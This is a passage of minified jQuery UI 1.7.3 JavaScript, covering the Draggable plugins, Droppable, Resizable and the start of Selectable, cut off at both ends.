c=a(this).data("draggable"),f=c.options,b=false;if(c.scrollParent[0]!=document&&c.scrollParent[0].tagName!="HTML"){if(!f.axis||f.axis!="x"){if((c.overflowOffset.top+c.scrollParent[0].offsetHeight)-d.pageY<f.scrollSensitivity){c.scrollParent[0].scrollTop=b=c.scrollParent[0].scrollTop+f.scrollSpeed}else{if(d.pageY-c.overflowOffset.top<f.scrollSensitivity){c.scrollParent[0].scrollTop=b=c.scrollParent[0].scrollTop-f.scrollSpeed}}}if(!f.axis||f.axis!="y"){if((c.overflowOffset.left+c.scrollParent[0].offsetWidth)-d.pageX<f.scrollSensitivity){c.scrollParent[0].scrollLeft=b=c.scrollParent[0].scrollLeft+f.scrollSpeed}else{if(d.pageX-c.overflowOffset.left<f.scrollSensitivity){c.scrollParent[0].scrollLeft=b=c.scrollParent[0].scrollLeft-f.scrollSpeed}}}}else{if(!f.axis||f.axis!="x"){if(d.pageY-a(document).scrollTop()<f.scrollSensitivity){b=a(document).scrollTop(a(document).scrollTop()-f.scrollSpeed)}else{if(a(window).height()-(d.pageY-a(document).scrollTop())<f.scrollSensitivity){b=a(document).scrollTop(a(document).scrollTop()+f.scrollSpeed)}}}if(!f.axis||f.axis!="y"){if(d.pageX-a(document).scrollLeft()<f.scrollSensitivity){b=a(document).scrollLeft(a(document).scrollLeft()-f.scrollSpeed)}else{if(a(window).width()-(d.pageX-a(document).scrollLeft())<f.scrollSensitivity){b=a(document).scrollLeft(a(document).scrollLeft()+f.scrollSpeed)}}}}if(b!==false&&a.ui.ddmanager&&!f.dropBehaviour){a.ui.ddmanager.prepareOffsets(c,d)}}});a.ui.plugin.add("draggable","snap",{start:function(c,d){var b=a(this).data("draggable"),e=b.options;b.snapElements=[];a(e.snap.constructor!=String?(e.snap.items||":data(draggable)"):e.snap).each(function(){var g=a(this);var f=g.offset();if(this!=b.element[0]){b.snapElements.push({item:this,width:g.outerWidth(),height:g.outerHeight(),top:f.top,left:f.left})}})},drag:function(u,p){var g=a(this).data("draggable"),q=g.options;var y=q.snapTolerance;var x=p.offset.left,w=x+g.helperProportions.width,f=p.offset.top,e=f+g.helperProportions.height;for(var v=g.snapElements.length-1;v>=0;v--){var s=g.snapElements[v].left,n=s+g.snapElements[v].width,m=g.snapElements[v].top,A=m+g.snapElements[v].height;if(!((s-y<x&&x<n+y&&m-y<f&&f<A+y)||(s-y<x&&x<n+y&&m-y<e&&e<A+y)||(s-y<w&&w<n+y&&m-y<f&&f<A+y)||(s-y<w&&w<n+y&&m-y<e&&e<A+y))){if(g.snapElements[v].snapping){(g.options.snap.release&&g.options.snap.release.call(g.element,u,a.extend(g._uiHash(),{snapItem:g.snapElements[v].item})))}g.snapElements[v].snapping=false;continue}if(q.snapMode!="inner"){var c=Math.abs(m-e)<=y;var z=Math.abs(A-f)<=y;var j=Math.abs(s-w)<=y;var k=Math.abs(n-x)<=y;if(c){p.position.top=g._convertPositionTo("relative",{top:m-g.helperProportions.height,left:0}).top-g.margins.top}if(z){p.position.top=g._convertPositionTo("relative",{top:A,left:0}).top-g.margins.top}if(j){p.position.left=g._convertPositionTo("relative",{top:0,left:s-g.helperProportions.width}).left-g.margins.left}if(k){p.position.left=g._convertPositionTo("relative",{top:0,left:n}).left-g.margins.left}}var h=(c||z||j||k);if(q.snapMode!="outer"){var c=Math.abs(m-f)<=y;var z=Math.abs(A-e)<=y;var j=Math.abs(s-x)<=y;var k=Math.abs(n-w)<=y;if(c){p.position.top=g._convertPositionTo("relative",{top:m,left:0}).top-g.margins.top}if(z){p.position.top=g._convertPositionTo("relative",{top:A-g.helperProportions.height,left:0}).top-g.margins.top}if(j){p.position.left=g._convertPositionTo("relative",{top:0,left:s}).left-g.margins.left}if(k){p.position.left=g._convertPositionTo("relative",{top:0,left:n-g.helperProportions.width}).left-g.margins.left}}if(!g.snapElements[v].snapping&&(c||z||j||k||h)){(g.options.snap.snap&&g.options.snap.snap.call(g.element,u,a.extend(g._uiHash(),{snapItem:g.snapElements[v].item})))}g.snapElements[v].snapping=(c||z||j||k||h)}}});a.ui.plugin.add("draggable","stack",{start:function(b,c){var e=a(this).data("draggable").options;var d=a.makeArray(a(e.stack.group)).sort(function(g,f){return(parseInt(a(g).css("zIndex"),10)||e.stack.min)-(parseInt(a(f).css("zIndex"),10)||e.stack.min)});a(d).each(function(f){this.style.zIndex=e.stack.min+f});this[0].style.zIndex=e.stack.min+d.length}});a.ui.plugin.add("draggable","zIndex",{start:function(c,d){var b=a(d.helper),e=a(this).data("draggable").options;if(b.css("zIndex")){e._zIndex=b.css("zIndex")}b.css("zIndex",e.zIndex)},stop:function(b,c){var d=a(this).data("draggable").options;if(d._zIndex){a(c.helper).css("zIndex",d._zIndex)}}})})(jQuery);;/*
 * jQuery UI Droppable 1.7.3
 *
 * Copyright (c) 2009 AUTHORS.txt (http://jqueryui.com/about)
 * Dual licensed under the MIT (MIT-LICENSE.txt)
 * and GPL (GPL-LICENSE.txt) licenses.
 *
 * http://docs.jquery.com/UI/Droppables
 *
 * Depends:
 *	ui.core.js
 *	ui.draggable.js
 */(function(a){a.widget("ui.droppable",{_init:function(){var c=this.options,b=c.accept;this.isover=0;this.isout=1;this.options.accept=this.options.accept&&a.isFunction(this.options.accept)?this.options.accept:function(e){return e.is(b)};this.proportions={width:this.element[0].offsetWidth,height:this.element[0].offsetHeight};a.ui.ddmanager.droppables[this.options.scope]=a.ui.ddmanager.droppables[this.options.scope]||[];a.ui.ddmanager.droppables[this.options.scope].push(this);(this.options.addClasses&&this.element.addClass("ui-droppable"))},destroy:function(){var b=a.ui.ddmanager.droppables[this.options.scope];for(var c=0;c<b.length;c++){if(b[c]==this){b.splice(c,1)}}this.element.removeClass("ui-droppable ui-droppable-disabled").removeData("droppable").unbind(".droppable")},_setData:function(b,c){if(b=="accept"){this.options.accept=c&&a.isFunction(c)?c:function(e){return e.is(c)}}else{a.widget.prototype._setData.apply(this,arguments)}},_activate:function(c){var b=a.ui.ddmanager.current;if(this.options.activeClass){this.element.addClass(this.options.activeClass)}(b&&this._trigger("activate",c,this.ui(b)))},_deactivate:function(c){var b=a.ui.ddmanager.current;if(this.options.activeClass){this.element.removeClass(this.options.activeClass)}(b&&this._trigger("deactivate",c,this.ui(b)))},_over:function(c){var b=a.ui.ddmanager.current;if(!b||(b.currentItem||b.element)[0]==this.element[0]){return}if(this.options.accept.call(this.element[0],(b.currentItem||b.element))){if(this.options.hoverClass){this.element.addClass(this.options.hoverClass)}this._trigger("over",c,this.ui(b))}},_out:function(c){var b=a.ui.ddmanager.current;if(!b||(b.currentItem||b.element)[0]==this.element[0]){return}if(this.options.accept.call(this.element[0],(b.currentItem||b.element))){if(this.options.hoverClass){this.element.removeClass(this.options.hoverClass)}this._trigger("out",c,this.ui(b))}},_drop:function(c,d){var b=d||a.ui.ddmanager.current;if(!b||(b.currentItem||b.element)[0]==this.element[0]){return false}var e=false;this.element.find(":data(droppable)").not(".ui-draggable-dragging").each(function(){var f=a.data(this,"droppable");if(f.options.greedy&&a.ui.intersect(b,a.extend(f,{offset:f.element.offset()}),f.options.tolerance)){e=true;return false}});if(e){return false}if(this.options.accept.call(this.element[0],(b.currentItem||b.element))){if(this.options.activeClass){this.element.removeClass(this.options.activeClass)}if(this.options.hoverClass){this.element.removeClass(this.options.hoverClass)}this._trigger("drop",c,this.ui(b));return this.element}return false},ui:function(b){return{draggable:(b.currentItem||b.element),helper:b.helper,position:b.position,absolutePosition:b.positionAbs,offset:b.positionAbs}}});a.extend(a.ui.droppable,{version:"1.7.3",eventPrefix:"drop",defaults:{accept:"*",activeClass:false,addClasses:true,greedy:false,hoverClass:false,scope:"default",tolerance:"intersect"}});a.ui.intersect=function(q,j,o){if(!j.offset){return false}var e=(q.positionAbs||q.position.absolute).left,d=e+q.helperProportions.width,n=(q.positionAbs||q.position.absolute).top,m=n+q.helperProportions.height;var g=j.offset.left,c=g+j.proportions.width,p=j.offset.top,k=p+j.proportions.height;switch(o){case"fit":return(g<e&&d<c&&p<n&&m<k);break;case"intersect":return(g<e+(q.helperProportions.width/2)&&d-(q.helperProportions.width/2)<c&&p<n+(q.helperProportions.height/2)&&m-(q.helperProportions.height/2)<k);break;case"pointer":var h=((q.positionAbs||q.position.absolute).left+(q.clickOffset||q.offset.click).left),i=((q.positionAbs||q.position.absolute).top+(q.clickOffset||q.offset.click).top),f=a.ui.isOver(i,h,p,g,j.proportions.height,j.proportions.width);return f;break;case"touch":return((n>=p&&n<=k)||(m>=p&&m<=k)||(n<p&&m>k))&&((e>=g&&e<=c)||(d>=g&&d<=c)||(e<g&&d>c));break;default:return false;break}};a.ui.ddmanager={current:null,droppables:{"default":[]},prepareOffsets:function(e,g){var b=a.ui.ddmanager.droppables[e.options.scope];var f=g?g.type:null;var h=(e.currentItem||e.element).find(":data(droppable)").andSelf();droppablesLoop:for(var d=0;d<b.length;d++){if(b[d].options.disabled||(e&&!b[d].options.accept.call(b[d].element[0],(e.currentItem||e.element)))){continue}for(var c=0;c<h.length;c++){if(h[c]==b[d].element[0]){b[d].proportions.height=0;continue droppablesLoop}}b[d].visible=b[d].element.css("display")!="none";if(!b[d].visible){continue}b[d].offset=b[d].element.offset();b[d].proportions={width:b[d].element[0].offsetWidth,height:b[d].element[0].offsetHeight};if(f=="mousedown"){b[d]._activate.call(b[d],g)}}},drop:function(b,c){var d=false;a.each(a.ui.ddmanager.droppables[b.options.scope],function(){if(!this.options){return}if(!this.options.disabled&&this.visible&&a.ui.intersect(b,this,this.options.tolerance)){d=this._drop.call(this,c)}if(!this.options.disabled&&this.visible&&this.options.accept.call(this.element[0],(b.currentItem||b.element))){this.isout=1;this.isover=0;this._deactivate.call(this,c)}});return d},drag:function(b,c){if(b.options.refreshPositions){a.ui.ddmanager.prepareOffsets(b,c)}a.each(a.ui.ddmanager.droppables[b.options.scope],function(){if(this.options.disabled||this.greedyChild||!this.visible){return}var e=a.ui.intersect(b,this,this.options.tolerance);var g=!e&&this.isover==1?"isout":(e&&this.isover==0?"isover":null);if(!g){return}var f;if(this.options.greedy){var d=this.element.parents(":data(droppable):eq(0)");if(d.length){f=a.data(d[0],"droppable");f.greedyChild=(g=="isover"?1:0)}}if(f&&g=="isover"){f.isover=0;f.isout=1;f._out.call(f,c)}this[g]=1;this[g=="isout"?"isover":"isout"]=0;this[g=="isover"?"_over":"_out"].call(this,c);if(f&&g=="isout"){f.isout=0;f.isover=1;f._over.call(f,c)}})}}})(jQuery);;/*
 * jQuery UI Resizable 1.7.3
 *
 * Copyright (c) 2009 AUTHORS.txt (http://jqueryui.com/about)
 * Dual licensed under the MIT (MIT-LICENSE.txt)
 * and GPL (GPL-LICENSE.txt) licenses.
 *
 * http://docs.jquery.com/UI/Resizables
 *
 * Depends:
 *	ui.core.js
 */(function(c){c.widget("ui.resizable",c.extend({},c.ui.mouse,{_init:function(){var e=this,j=this.options;this.element.addClass("ui-resizable");c.extend(this,{_aspectRatio:!!(j.aspectRatio),aspectRatio:j.aspectRatio,originalElement:this.element,_proportionallyResizeElements:[],_helper:j.helper||j.ghost||j.animate?j.helper||"ui-resizable-helper":null});if(this.element[0].nodeName.match(/canvas|textarea|input|select|button|img/i)){if(/relative/.test(this.element.css("position"))&&c.browser.opera){this.element.css({position:"relative",top:"auto",left:"auto"})}this.element.wrap(c('<div class="ui-wrapper" style="overflow: hidden;"></div>').css({position:this.element.css("position"),width:this.element.outerWidth(),height:this.element.outerHeight(),top:this.element.css("top"),left:this.element.css("left")}));this.element=this.element.parent().data("resizable",this.element.data("resizable"));this.elementIsWrapper=true;this.element.css({marginLeft:this.originalElement.css("marginLeft"),marginTop:this.originalElement.css("marginTop"),marginRight:this.originalElement.css("marginRight"),marginBottom:this.originalElement.css("marginBottom")});this.originalElement.css({marginLeft:0,marginTop:0,marginRight:0,marginBottom:0});this.originalResizeStyle=this.originalElement.css("resize");this.originalElement.css("resize","none");this._proportionallyResizeElements.push(this.originalElement.css({position:"static",zoom:1,display:"block"}));this.originalElement.css({margin:this.originalElement.css("margin")});this._proportionallyResize()}this.handles=j.handles||(!c(".ui-resizable-handle",this.element).length?"e,s,se":{n:".ui-resizable-n",e:".ui-resizable-e",s:".ui-resizable-s",w:".ui-resizable-w",se:".ui-resizable-se",sw:".ui-resizable-sw",ne:".ui-resizable-ne",nw:".ui-resizable-nw"});if(this.handles.constructor==String){if(this.handles=="all"){this.handles="n,e,s,w,se,sw,ne,nw"}var k=this.handles.split(",");this.handles={};for(var f=0;f<k.length;f++){var h=c.trim(k[f]),d="ui-resizable-"+h;var g=c('<div class="ui-resizable-handle '+d+'"></div>');if(/sw|se|ne|nw/.test(h)){g.css({zIndex:++j.zIndex})}if("se"==h){g.addClass("ui-icon ui-icon-gripsmall-diagonal-se")}this.handles[h]=".ui-resizable-"+h;this.element.append(g)}}this._renderAxis=function(p){p=p||this.element;for(var m in this.handles){if(this.handles[m].constructor==String){this.handles[m]=c(this.handles[m],this.element).show()}if(this.elementIsWrapper&&this.originalElement[0].nodeName.match(/textarea|input|select|button/i)){var n=c(this.handles[m],this.element),o=0;o=/sw|ne|nw|se|n|s/.test(m)?n.outerHeight():n.outerWidth();var l=["padding",/ne|nw|n/.test(m)?"Top":/se|sw|s/.test(m)?"Bottom":/^e$/.test(m)?"Right":"Left"].join("");p.css(l,o);this._proportionallyResize()}if(!c(this.handles[m]).length){continue}}};this._renderAxis(this.element);this._handles=c(".ui-resizable-handle",this.element).disableSelection();this._handles.mouseover(function(){if(!e.resizing){if(this.className){var i=this.className.match(/ui-resizable-(se|sw|ne|nw|n|e|s|w)/i)}e.axis=i&&i[1]?i[1]:"se"}});if(j.autoHide){this._handles.hide();c(this.element).addClass("ui-resizable-autohide").hover(function(){c(this).removeClass("ui-resizable-autohide");e._handles.show()},function(){if(!e.resizing){c(this).addClass("ui-resizable-autohide");e._handles.hide()}})}this._mouseInit()},destroy:function(){this._mouseDestroy();var d=function(f){c(f).removeClass("ui-resizable ui-resizable-disabled ui-resizable-resizing").removeData("resizable").unbind(".resizable").find(".ui-resizable-handle").remove()};if(this.elementIsWrapper){d(this.element);var e=this.element;e.parent().append(this.originalElement.css({position:e.css("position"),width:e.outerWidth(),height:e.outerHeight(),top:e.css("top"),left:e.css("left")})).end().remove()}this.originalElement.css("resize",this.originalResizeStyle);d(this.originalElement)},_mouseCapture:function(e){var f=false;for(var d in this.handles){if(c(this.handles[d])[0]==e.target){f=true}}return this.options.disabled||!!f},_mouseStart:function(f){var i=this.options,e=this.element.position(),d=this.element;this.resizing=true;this.documentScroll={top:c(document).scrollTop(),left:c(document).scrollLeft()};if(d.is(".ui-draggable")||(/absolute/).test(d.css("position"))){d.css({position:"absolute",top:e.top,left:e.left})}if(c.browser.opera&&(/relative/).test(d.css("position"))){d.css({position:"relative",top:"auto",left:"auto"})}this._renderProxy();var j=b(this.helper.css("left")),g=b(this.helper.css("top"));if(i.containment){j+=c(i.containment).scrollLeft()||0;g+=c(i.containment).scrollTop()||0}this.offset=this.helper.offset();this.position={left:j,top:g};this.size=this._helper?{width:d.outerWidth(),height:d.outerHeight()}:{width:d.width(),height:d.height()};this.originalSize=this._helper?{width:d.outerWidth(),height:d.outerHeight()}:{width:d.width(),height:d.height()};this.originalPosition={left:j,top:g};this.sizeDiff={width:d.outerWidth()-d.width(),height:d.outerHeight()-d.height()};this.originalMousePosition={left:f.pageX,top:f.pageY};this.aspectRatio=(typeof i.aspectRatio=="number")?i.aspectRatio:((this.originalSize.width/this.originalSize.height)||1);var h=c(".ui-resizable-"+this.axis).css("cursor");c("body").css("cursor",h=="auto"?this.axis+"-resize":h);d.addClass("ui-resizable-resizing");this._propagate("start",f);return true},_mouseDrag:function(d){var g=this.helper,f=this.options,l={},p=this,i=this.originalMousePosition,m=this.axis;var q=(d.pageX-i.left)||0,n=(d.pageY-i.top)||0;var h=this._change[m];if(!h){return false}var k=h.apply(this,[d,q,n]),j=c.browser.msie&&c.browser.version<7,e=this.sizeDiff;if(this._aspectRatio||d.shiftKey){k=this._updateRatio(k,d)}k=this._respectSize(k,d);this._propagate("resize",d);g.css({top:this.position.top+"px",left:this.position.left+"px",width:this.size.width+"px",height:this.size.height+"px"});if(!this._helper&&this._proportionallyResizeElements.length){this._proportionallyResize()}this._updateCache(k);this._trigger("resize",d,this.ui());return false},_mouseStop:function(g){this.resizing=false;var h=this.options,l=this;if(this._helper){var f=this._proportionallyResizeElements,d=f.length&&(/textarea/i).test(f[0].nodeName),e=d&&c.ui.hasScroll(f[0],"left")?0:l.sizeDiff.height,j=d?0:l.sizeDiff.width;var m={width:(l.size.width-j),height:(l.size.height-e)},i=(parseInt(l.element.css("left"),10)+(l.position.left-l.originalPosition.left))||null,k=(parseInt(l.element.css("top"),10)+(l.position.top-l.originalPosition.top))||null;if(!h.animate){this.element.css(c.extend(m,{top:k,left:i}))}l.helper.height(l.size.height);l.helper.width(l.size.width);if(this._helper&&!h.animate){this._proportionallyResize()}}c("body").css("cursor","auto");this.element.removeClass("ui-resizable-resizing");this._propagate("stop",g);if(this._helper){this.helper.remove()}return false},_updateCache:function(d){var e=this.options;this.offset=this.helper.offset();if(a(d.left)){this.position.left=d.left}if(a(d.top)){this.position.top=d.top}if(a(d.height)){this.size.height=d.height}if(a(d.width)){this.size.width=d.width}},_updateRatio:function(g,f){var h=this.options,i=this.position,e=this.size,d=this.axis;if(g.height){g.width=(e.height*this.aspectRatio)}else{if(g.width){g.height=(e.width/this.aspectRatio)}}if(d=="sw"){g.left=i.left+(e.width-g.width);g.top=null}if(d=="nw"){g.top=i.top+(e.height-g.height);g.left=i.left+(e.width-g.width)}return g},_respectSize:function(k,f){var i=this.helper,h=this.options,q=this._aspectRatio||f.shiftKey,p=this.axis,s=a(k.width)&&h.maxWidth&&(h.maxWidth<k.width),l=a(k.height)&&h.maxHeight&&(h.maxHeight<k.height),g=a(k.width)&&h.minWidth&&(h.minWidth>k.width),r=a(k.height)&&h.minHeight&&(h.minHeight>k.height);if(g){k.width=h.minWidth}if(r){k.height=h.minHeight}if(s){k.width=h.maxWidth}if(l){k.height=h.maxHeight}var e=this.originalPosition.left+this.originalSize.width,n=this.position.top+this.size.height;var j=/sw|nw|w/.test(p),d=/nw|ne|n/.test(p);if(g&&j){k.left=e-h.minWidth}if(s&&j){k.left=e-h.maxWidth}if(r&&d){k.top=n-h.minHeight}if(l&&d){k.top=n-h.maxHeight}var m=!k.width&&!k.height;if(m&&!k.left&&k.top){k.top=null}else{if(m&&!k.top&&k.left){k.left=null}}return k},_proportionallyResize:function(){var j=this.options;if(!this._proportionallyResizeElements.length){return}var f=this.helper||this.element;for(var e=0;e<this._proportionallyResizeElements.length;e++){var g=this._proportionallyResizeElements[e];if(!this.borderDif){var d=[g.css("borderTopWidth"),g.css("borderRightWidth"),g.css("borderBottomWidth"),g.css("borderLeftWidth")],h=[g.css("paddingTop"),g.css("paddingRight"),g.css("paddingBottom"),g.css("paddingLeft")];this.borderDif=c.map(d,function(k,m){var l=parseInt(k,10)||0,n=parseInt(h[m],10)||0;return l+n})}if(c.browser.msie&&!(!(c(f).is(":hidden")||c(f).parents(":hidden").length))){continue}g.css({height:(f.height()-this.borderDif[0]-this.borderDif[2])||0,width:(f.width()-this.borderDif[1]-this.borderDif[3])||0})}},_renderProxy:function(){var e=this.element,h=this.options;this.elementOffset=e.offset();if(this._helper){this.helper=this.helper||c('<div style="overflow:hidden;"></div>');var d=c.browser.msie&&c.browser.version<7,f=(d?1:0),g=(d?2:-1);this.helper.addClass(this._helper).css({width:this.element.outerWidth()+g,height:this.element.outerHeight()+g,position:"absolute",left:this.elementOffset.left-f+"px",top:this.elementOffset.top-f+"px",zIndex:++h.zIndex});this.helper.appendTo("body").disableSelection()}else{this.helper=this.element}},_change:{e:function(f,e,d){return{width:this.originalSize.width+e}},w:function(g,e,d){var i=this.options,f=this.originalSize,h=this.originalPosition;return{left:h.left+e,width:f.width-e}},n:function(g,e,d){var i=this.options,f=this.originalSize,h=this.originalPosition;return{top:h.top+d,height:f.height-d}},s:function(f,e,d){return{height:this.originalSize.height+d}},se:function(f,e,d){return c.extend(this._change.s.apply(this,arguments),this._change.e.apply(this,[f,e,d]))},sw:function(f,e,d){return c.extend(this._change.s.apply(this,arguments),this._change.w.apply(this,[f,e,d]))},ne:function(f,e,d){return c.extend(this._change.n.apply(this,arguments),this._change.e.apply(this,[f,e,d]))},nw:function(f,e,d){return c.extend(this._change.n.apply(this,arguments),this._change.w.apply(this,[f,e,d]))}},_propagate:function(e,d){c.ui.plugin.call(this,e,[d,this.ui()]);(e!="resize"&&this._trigger(e,d,this.ui()))},plugins:{},ui:function(){return{originalElement:this.originalElement,element:this.element,helper:this.helper,position:this.position,size:this.size,originalSize:this.originalSize,originalPosition:this.originalPosition}}}));c.extend(c.ui.resizable,{version:"1.7.3",eventPrefix:"resize",defaults:{alsoResize:false,animate:false,animateDuration:"slow",animateEasing:"swing",aspectRatio:false,autoHide:false,cancel:":input,option",containment:false,delay:0,distance:1,ghost:false,grid:false,handles:"e,s,se",helper:false,maxHeight:null,maxWidth:null,minHeight:10,minWidth:10,zIndex:1000}});c.ui.plugin.add("resizable","alsoResize",{start:function(e,f){var d=c(this).data("resizable"),g=d.options;_store=function(h){c(h).each(function(){c(this).data("resizable-alsoresize",{width:parseInt(c(this).width(),10),height:parseInt(c(this).height(),10),left:parseInt(c(this).css("left"),10),top:parseInt(c(this).css("top"),10)})})};if(typeof(g.alsoResize)=="object"&&!g.alsoResize.parentNode){if(g.alsoResize.length){g.alsoResize=g.alsoResize[0];_store(g.alsoResize)}else{c.each(g.alsoResize,function(h,i){_store(h)})}}else{_store(g.alsoResize)}},resize:function(f,h){var e=c(this).data("resizable"),i=e.options,g=e.originalSize,k=e.originalPosition;var j={height:(e.size.height-g.height)||0,width:(e.size.width-g.width)||0,top:(e.position.top-k.top)||0,left:(e.position.left-k.left)||0},d=function(l,m){c(l).each(function(){var p=c(this),q=c(this).data("resizable-alsoresize"),o={},n=m&&m.length?m:["width","height","top","left"];c.each(n||["width","height","top","left"],function(r,t){var s=(q[t]||0)+(j[t]||0);if(s&&s>=0){o[t]=s||null}});if(/relative/.test(p.css("position"))&&c.browser.opera){e._revertToRelativePosition=true;p.css({position:"absolute",top:"auto",left:"auto"})}p.css(o)})};if(typeof(i.alsoResize)=="object"&&!i.alsoResize.nodeType){c.each(i.alsoResize,function(l,m){d(l,m)})}else{d(i.alsoResize)}},stop:function(e,f){var d=c(this).data("resizable");if(d._revertToRelativePosition&&c.browser.opera){d._revertToRelativePosition=false;el.css({position:"relative"})}c(this).removeData("resizable-alsoresize-start")}});c.ui.plugin.add("resizable","animate",{stop:function(h,m){var n=c(this).data("resizable"),i=n.options;var g=n._proportionallyResizeElements,d=g.length&&(/textarea/i).test(g[0].nodeName),e=d&&c.ui.hasScroll(g[0],"left")?0:n.sizeDiff.height,k=d?0:n.sizeDiff.width;var f={width:(n.size.width-k),height:(n.size.height-e)},j=(parseInt(n.element.css("left"),10)+(n.position.left-n.originalPosition.left))||null,l=(parseInt(n.element.css("top"),10)+(n.position.top-n.originalPosition.top))||null;n.element.animate(c.extend(f,l&&j?{top:l,left:j}:{}),{duration:i.animateDuration,easing:i.animateEasing,step:function(){var o={width:parseInt(n.element.css("width"),10),height:parseInt(n.element.css("height"),10),top:parseInt(n.element.css("top"),10),left:parseInt(n.element.css("left"),10)};if(g&&g.length){c(g[0]).css({width:o.width,height:o.height})}n._updateCache(o);n._propagate("resize",h)}})}});c.ui.plugin.add("resizable","containment",{start:function(e,q){var s=c(this).data("resizable"),i=s.options,k=s.element;var f=i.containment,j=(f instanceof c)?f.get(0):(/parent/.test(f))?k.parent().get(0):f;if(!j){return}s.containerElement=c(j);if(/document/.test(f)||f==document){s.containerOffset={left:0,top:0};s.containerPosition={left:0,top:0};s.parentData={element:c(document),left:0,top:0,width:c(document).width(),height:c(document).height()||document.body.parentNode.scrollHeight}}else{var m=c(j),h=[];c(["Top","Right","Left","Bottom"]).each(function(p,o){h[p]=b(m.css("padding"+o))});s.containerOffset=m.offset();s.containerPosition=m.position();s.containerSize={height:(m.innerHeight()-h[3]),width:(m.innerWidth()-h[1])};var n=s.containerOffset,d=s.containerSize.height,l=s.containerSize.width,g=(c.ui.hasScroll(j,"left")?j.scrollWidth:l),r=(c.ui.hasScroll(j)?j.scrollHeight:d);s.parentData={element:j,left:n.left,top:n.top,width:g,height:r}}},resize:function(f,p){var s=c(this).data("resizable"),h=s.options,e=s.containerSize,n=s.containerOffset,l=s.size,m=s.position,q=s._aspectRatio||f.shiftKey,d={top:0,left:0},g=s.containerElement;if(g[0]!=document&&(/static/).test(g.css("position"))){d=n}if(m.left<(s._helper?n.left:0)){s.size.width=s.size.width+(s._helper?(s.position.left-n.left):(s.position.left-d.left));if(q){s.size.height=s.size.width/h.aspectRatio}s.position.left=h.helper?n.left:0}if(m.top<(s._helper?n.top:0)){s.size.height=s.size.height+(s._helper?(s.position.top-n.top):s.position.top);if(q){s.size.width=s.size.height*h.aspectRatio}s.position.top=s._helper?n.top:0}s.offset.left=s.parentData.left+s.position.left;s.offset.top=s.parentData.top+s.position.top;var k=Math.abs((s._helper?s.offset.left-d.left:(s.offset.left-d.left))+s.sizeDiff.width),r=Math.abs((s._helper?s.offset.top-d.top:(s.offset.top-n.top))+s.sizeDiff.height);var j=s.containerElement.get(0)==s.element.parent().get(0),i=/relative|absolute/.test(s.containerElement.css("position"));if(j&&i){k-=s.parentData.left}if(k+s.size.width>=s.parentData.width){s.size.width=s.parentData.width-k;if(q){s.size.height=s.size.width/s.aspectRatio}}if(r+s.size.height>=s.parentData.height){s.size.height=s.parentData.height-r;if(q){s.size.width=s.size.height*s.aspectRatio}}},stop:function(e,m){var p=c(this).data("resizable"),f=p.options,k=p.position,l=p.containerOffset,d=p.containerPosition,g=p.containerElement;var i=c(p.helper),q=i.offset(),n=i.outerWidth()-p.sizeDiff.width,j=i.outerHeight()-p.sizeDiff.height;if(p._helper&&!f.animate&&(/relative/).test(g.css("position"))){c(this).css({left:q.left-d.left-l.left,width:n,height:j})}if(p._helper&&!f.animate&&(/static/).test(g.css("position"))){c(this).css({left:q.left-d.left-l.left,width:n,height:j})}}});c.ui.plugin.add("resizable","ghost",{start:function(f,g){var d=c(this).data("resizable"),h=d.options,e=d.size;d.ghost=d.originalElement.clone();d.ghost.css({opacity:0.25,display:"block",position:"relative",height:e.height,width:e.width,margin:0,left:0,top:0}).addClass("ui-resizable-ghost").addClass(typeof h.ghost=="string"?h.ghost:"");d.ghost.appendTo(d.helper)},resize:function(e,f){var d=c(this).data("resizable"),g=d.options;if(d.ghost){d.ghost.css({position:"relative",height:d.size.height,width:d.size.width})}},stop:function(e,f){var d=c(this).data("resizable"),g=d.options;if(d.ghost&&d.helper){d.helper.get(0).removeChild(d.ghost.get(0))}}});c.ui.plugin.add("resizable","grid",{resize:function(d,l){var n=c(this).data("resizable"),g=n.options,j=n.size,h=n.originalSize,i=n.originalPosition,m=n.axis,k=g._aspectRatio||d.shiftKey;g.grid=typeof g.grid=="number"?[g.grid,g.grid]:g.grid;var f=Math.round((j.width-h.width)/(g.grid[0]||1))*(g.grid[0]||1),e=Math.round((j.height-h.height)/(g.grid[1]||1))*(g.grid[1]||1);if(/^(se|s|e)$/.test(m)){n.size.width=h.width+f;n.size.height=h.height+e}else{if(/^(ne)$/.test(m)){n.size.width=h.width+f;n.size.height=h.height+e;n.position.top=i.top-e}else{if(/^(sw)$/.test(m)){n.size.width=h.width+f;n.size.height=h.height+e;n.position.left=i.left-f}else{n.size.width=h.width+f;n.size.height=h.height+e;n.position.top=i.top-e;n.position.left=i.left-f}}}}});var b=function(d){return parseInt(d,10)||0};var a=function(d){return !isNaN(parseInt(d,10))}})(jQuery);;/*
 * jQuery UI Selectable 1.7.3
 *
 * Copyright (c) 2009 AUTHORS.txt (http://jqueryui.com/about)
 * Dual licensed under the MIT (MIT-LICENSE.txt)
 * and GPL (GPL-LICENSE.txt) licenses.
 *
 * http://docs.jquery.com/UI/Selectables
 *
 * Depends:
 *	ui.core.js
 */(function(a){a.widget("ui.selectable",a.extend({},a.ui.mouse,{_init:function(){var b=this;this.element.addClass("ui-selectable");this.dragged=false;var c;this.refresh=function(){c=a(b.options.filter,b.element[0]);c.each(function(){var d=a(this);var e=d.offset();a.data(this,"selectable-item",{element:this,$element:d,left:e.left,top:e.top,right:e.left+d.outerWidth(),bottom:e.top+d.outerHeight(),startselected:false,selected:d.hasClass("ui-selected"),selecting:d.hasClass("ui-selecting"),unselecting:d.hasClass("ui-unselecting")})})};this.refresh();this.selectees=c.addClass("ui-selectee");this._mouseInit();this.helper=a(document.createElement("div")).css({border:"1px dotted black"}).addClass("ui-selectable-helper")},destroy:function(){this.element.removeClass("ui-selectable ui-selectable-disabled").removeData("selectable").unbind(".selectable");this._mouseDestroy()},_mouseStart:function(d){var b=this;this.opos=[d.pageX,d.pageY];if(this.options.disabled){return}var c=this.options;this.selectees=a(c.filter,this.element[0]);this._trigger("start",d);a(c.appendTo).append(this.helper);this.helper.css({"z-index":100,position:"absolute",left:d.clientX,top:d.clientY,width:0,height:0});if(c.autoRefresh){this.refresh()}this.selectees.filter(".ui-selected").each(function(){var e=a.data(this,"selectable-item");e.startselected=true;if(!d.metaKey){e.$element.removeClass("ui-selected");e.selected=false;e.$element.addClass("ui-unselecting");e.unselecting=true;b._trigger("unselecting",d,{unselecting:e.element})}});a(d.target).parents().andSelf().each(function(){var e=a.data(this,"selectable-item");if(e){e.$element.removeClass("ui-unselecting").addClass("ui-selecting");e.unselecting=false;e.selecting=true;e.selected=true;b._trigger("selecting",d,{selecting:e.element});return false}})},_mouseDrag:function(i){var 